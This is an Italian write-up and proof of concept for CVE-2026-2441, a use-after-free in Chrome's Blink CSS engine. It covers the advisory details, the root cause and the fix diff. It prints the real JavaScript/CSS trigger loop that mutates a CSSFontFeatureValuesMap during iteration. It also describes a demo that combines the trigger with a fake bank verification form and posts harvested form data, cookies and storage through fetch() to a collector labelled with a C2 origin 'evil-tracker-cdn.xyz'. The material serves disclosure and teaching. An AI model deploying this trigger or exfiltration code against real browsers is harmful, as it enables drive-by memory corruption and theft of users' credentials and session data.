Proof-of-concept dettagliato e analisi tecnica per CVE-2026-2441, una vulnerabilità use-after-free di Chrome CSS che consente RCE nel renderer in sandbox tramite pagine HTML create ad arte.
CVSS 8.8 (Alta) | Attivamente sfruttata in natura | RCE nel renderer (in sandbox)
Una vulnerabilità use-after-free nel motore CSS Blink di Google Chrome che consente a un attaccante remoto di eseguire codice arbitrario all'interno della sandbox del browser tramite una pagina HTML predisposta.
| Campo | Valore |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Alta) |
| Tipo | Use-After-Free (CWE-416) |
| Componente | Blink CSS — CSSFontFeatureValuesMap |
| File sorgente | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit di fix | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Segnalatore | Shaheen Fazim (2026-02-11) |
| Data patch | 2026-02-13 |
| In-the-Wild | Sì — Google ha confermato lo sfruttamento attivo |
| Piattaforma | Vulnerabile | Corretta |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Browser basati su Chromium (Edge, Brave, Opera, Vivaldi) | Verificare l'avviso del fornitore | Variabile |
FontFeatureValuesMapIterationSource memorizzava un puntatore grezzo (const FontFeatureAliases* aliases_) alla HashMap interna FontFeatureAliases. Quando la mappa viene mutata durante l'iterazione tramite set() o delete(), la HashMap si riorganizza (rehash) — allocando nuova memoria e liberando la vecchia. Il puntatore grezzo diventa dangling e la successiva chiamata a FetchNextItem() legge da memoria già liberata.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = puntatore grezzo alla HashMap interna
→ iterator_ = aliases_->begin()
FetchNextItem()
→ legge iterator_->key (tramite aliases_)
Se map.set() / map.delete() viene chiamato tra le iterazioni:
→ la HashMap si riorganizza (nuova allocazione, vecchia liberata)
→ aliases_ → puntatore dangling
→ iterator_ → invalidato
→ Prossimo FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // puntatore grezzo → dangling dopo rehash
+ const FontFeatureAliases aliases_; // copia profonda → immune al rehash
Il fix sostituisce il puntatore grezzo con una copia profonda della HashMap. Anche se la mappa originale si riorganizza, l'iteratore opera sulla propria copia, impedendo il dangling pointer.
poc.html in una versione vulnerabile di Chrome (< 145.0.7632.75)| Versione di Chrome | Comportamento atteso |
|---|---|
| < 145.0.7632.75 (non aggiornata) | Crash del renderer — STATUS_ACCESS_VIOLATION (Windows) o SIGSEGV (Linux/macOS). Chrome mostra l'errore "Impossibile aprire questa pagina". |
| >= 145.0.7632.75 (aggiornata) | Nessun crash — la PoC viene eseguita completamente, tutte le voci vengono lette normalmente. |
La PoC è organizzata per mostrare la catena di sfruttamento in un ordine chiaro e riproducibile. La prima parte crea l'oggetto Blink/CSS vulnerabile, la seconda parte attiva l'invalidazione dell'iteratore e la parte finale simula gli effetti post-sfruttamento in un ambiente accademico sicuro.
Nota importante: l'attivazione della UAF è implementata attraverso reali API CSS/JavaScript esposte dal browser. La perdita di heap e il dashboard di esfiltrazione sono intenzionalmente controllati/simulati per evitare di rilasciare un exploit weaponizzato per Chromium.
Il payload definisce prima una regola CSS @font-feature-values:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
Questa regola induce Blink a creare un CSSFontFeatureValuesMap interno. Nell'implementazione vulnerabile, l'iterazione su questa mappa non è sicura perché l'iteratore mantiene un puntatore grezzo alla memoria interna di FontFeatureAliases.
In seguito, il payload JavaScript ottiene la mappa dal foglio di stile:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
A questo punto, la pagina controllata dall'attaccante ha un handle JavaScript a un oggetto del browser la cui implementazione C++ interna è vulnerabile all'invalidazione dell'iteratore.
L'attivatore non viene eseguito immediatamente. La PoC attende 800 ms prima di eseguire la sequenza vulnerabile:
setTimeout(triggerUAF, 800);
Questo ritardo è usato per la stabilità della demo. Consente di rendere la pagina e il form falso di verifica bancaria prima che venga eseguito l'attivatore di corruzione della memoria. In uno scenario reale di drive-by, lo stesso attivatore potrebbe anche essere lanciato automaticamente non appena la pagina malevola viene caricata.
Il primitivo UAF centrale è il seguente ciclo:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
La vulnerabilità è attivata dall'ordine delle operazioni:
1. map.entries() crea un iteratore su CSSFontFeatureValuesMap.
2. Nell'implementazione Blink vulnerabile, l'iteratore fa riferimento alla memoria interna della mappa.
3. it.next() legge la voce successiva attraverso quell'iteratore.
4. map.delete(key) muta la stessa mappa mentre l'iteratore è ancora attivo.
5. map.set(...) inserisce una nuova voce e può forzare la HashMap sottostante a riorganizzarsi.
6. La riorganizzazione può liberare o spostare la vecchia memoria.
7. L'iteratore potrebbe ancora fare riferimento alla vecchia memoria.
8. Il successivo accesso all'iteratore può quindi diventare un Use-After-Free.
La strategia aggressiva originale utilizzava un ciclo simile a heap spray più grande, ad esempio inserendo centinaia di elementi come 512 nuove voci dopo ogni cancellazione. Ciò crea una pressione sull'heap più forte e rende più probabile la riallocazione/riutilizzo.
Per la demo live, questo è stato ridotto a soli 4 passi di mutazione:
while (step < 4) {
// lettura iteratore + delete + set
}
La ragione è pratica e pedagogica: lo spray da 512 elementi spesso faceva crashare immediatamente il renderer. Un crash è utile per dimostrare l'impatto sulla disponibilità, ma impedisce al resto della dimostrazione di mostrare il furto di dati simulato e il dashboard dell'attaccante. La versione ridotta dimostra ancora la logica vulnerabile di invalidazione dell'iteratore mantenendo il browser sufficientemente stabile per la presentazione live.
Un vero exploit UAF weaponizzato richiederebbe normalmente un primitivo di divulgazione della memoria per perdere puntatori heap o V8 e bypassare ASLR. La demo non implementa una reale lettura arbitraria della memoria. Invece, genera un indirizzo simile a heap da un intervallo statico predefinito:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
Questo valore è una perdita di heap simulata:
0x55a000000000 è l'intervallo iniziale simile a heap fisso usato dalla demo.Math.random() * 0x200000 aggiunge un piccolo offset casuale.base & ~0xfff allinea l'indirizzo a un limite di pagina.Lo scopo è mostrare come apparirebbe una perdita di bypass ASLR sul dashboard dell'attaccante senza implementare un vero exploit di divulgazione della memoria.
Dopo l'attivatore UAF e la perdita di heap simulata, la PoC costruisce un payload contenente i dati del form raccolti, i dati di sessione residenti nel browser, un frammento DOM, lo stato UAF e la perdita di heap simulata. Il payload viene inviato al backend locale dell'attaccante:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
Il backend locale riceve i dati su POST /collect, li memorizza in memoria e li inoltra al dashboard dell'attaccante tramite Server-Sent Events (GET /events). Questo modella la fase di comando e controllo/esfiltrazione di un attacco reale pur rimanendo locale e controllato.
document.cookie, localStorage, sessionStorage, valori di input dei formfetch() / WebSocket / sendBeacon()addEventListener('keydown')Quando combinato con una vulnerabilità separata di escape dalla sandbox:
RCE nel renderer (CVE-2026-2441)
→ Exploit Mojo IPC → RCE nel processo browser
→ Exploit del kernel → Compromissione totale del sistema
→ Installazione di malware / ransomware / spyware
→ Accesso al filesystem, movimento laterale, persistenza
Catene di exploit reali che hanno utilizzato UAF simili del browser:
Questa vulnerabilità è sfruttabile tramite download drive-by — non è richiesta alcuna interazione dell'utente oltre alla visita di una pagina malevola:
chrome://flags/#site-isolation-trial-opt-out)| Data | Evento |
|---|---|
| 2026-02-11 | Vulnerabilità segnalata da Shaheen Fazim |
| 2026-02-13 | Google rilascia Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google riconosce lo sfruttamento in-the-wild |
| 2026-02-16 | Vivaldi e Opera rilasciano fix |
Se trovi utile questa ricerca, considera l'idea di offrirmi un caffè:
Questa proof of concept è fornita esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. L'uso di questa PoC contro sistemi senza esplicita autorizzazione è illegale e non etico. L'autore non è responsabile per qualsiasi uso improprio.
MIT